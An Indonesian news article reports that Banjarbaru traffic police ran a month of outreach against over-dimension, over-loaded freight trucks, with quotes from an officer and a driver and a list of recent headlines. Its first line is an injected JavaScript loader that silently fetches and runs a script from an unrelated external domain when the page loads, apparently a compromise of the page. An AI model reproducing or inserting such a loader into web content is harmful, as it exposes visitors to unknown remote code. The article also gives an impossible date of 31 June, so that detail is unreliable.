(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Angkutan Barang ODOL Melintas di Banjarbaru Bakal Ditindak


KANALKALIMANTAN.COM, BANJARBARU – Kepatuhan dan kesadaran masyarakat terhadap ketertiban berlalu lintas kembali diuji oleh jajaran Satuan Lalu Lintas (Satlantas) Polres Banjarbaru.

Kali ini selama satu bulan penuh, personel Satlantas Polres Banjarbaru diturunkan melakukan sosialisasi menekan praktik kendaraan Over Dimension Over Loading (ODOL) di Kota Banjarbaru.

Kasatlantas Polres Banjarbaru, AKP Embang Pramono menyebut sejak tanggal 1 Juni hingga 31 Juni 2025 mendatang, Satlantas melakukan kegiatan tahap pertama meliputi sosialisasi hingga nanti akan dilakukan penindakan.

“Tahap pertama adalah sosialisasi, kemudian akan ada teguran, baru ada penindakan dan waktunya ditentukan sesuai dengan petunjuk atas,” ujar Kasatlantas Polres Banjarbaru.

Baca juga: Traffic Light Tugu Adipura Banjarbaru Dinonaktifkan

Dia mengimbau kepada pengelola angkutan khususnya angkutan barang dapat mematuhi apa yang menjadi arahan dan petunjuk petugas di lapangan.

Sasaran untuk menekan kelbihan muatan ini adalah angkutan-angkutan barang yang melintas di jalan raya ataupun yang terparkir.

“Kita buat titik-titik tertentu pertama adalah di tempat-tempat yang menjadi potensi berkumpul atau parkir, dapat kita lakukan pada saat angkutan melintas atau pada saat plotting, kita hentikan kemudian diberikan sosialisasi,” jelas dia.

Kasatlantas Polres Banjarbaru, AKP Embang Pramono. Foto: wanda

Baca juga: Rakor Pendapatan dan Investasi di Kapuas, Ini Harapan Bupati Wiyatno

Sejak dilakukan pertama kali pada awal bulan Juni tadi, masih banyak ditemukan angkutan yang termasuk Over Dimension Over Loading di ruas jalan-jalan utama di Kota Banjarbaru.

“Sosialisasi akan dilakukan pada bulan pertama ini yaitu 1 Juni sampai 31 Juni, tahapan berikutnya menunggu arahan, sejak dilakukan cukup banyak kita berikan sosialisasi, nanun hingga saat ini sudah menurun,” sebutnya.

Salah satu pengemudi angkutan barang mengaku mendapat teguran dan mendapat sosialisasi akan adanya kegiatan menekan praktik kendaraan ODOL.

“Disuruh menunjukkan SIM dan STNK. Memang angkutannya seperti ini,” ujar Hendry, pengemudi angkutan barang.

Baca juga: Keluhan Pelaku Usaha Imbas A Yani Km 31,5 Ditutup, Begini Respon Ketua DPRD Banjarbaru

Menurut Hendry bagus jika diberlakukan dengan keringanan sebab sejumlah kendaraan angkutan barang memiliki hitungan berat dari pabriknya.

“Kita distributor membawa barang ke Binuang,” tutup Hendry. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

12 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

13 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

18 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

20 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

PLN UP2B Kalbar Siaga 24 Jam Jaga Keandalan Listrik Selama Nataru

KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More

2 hari ago

This website uses cookies.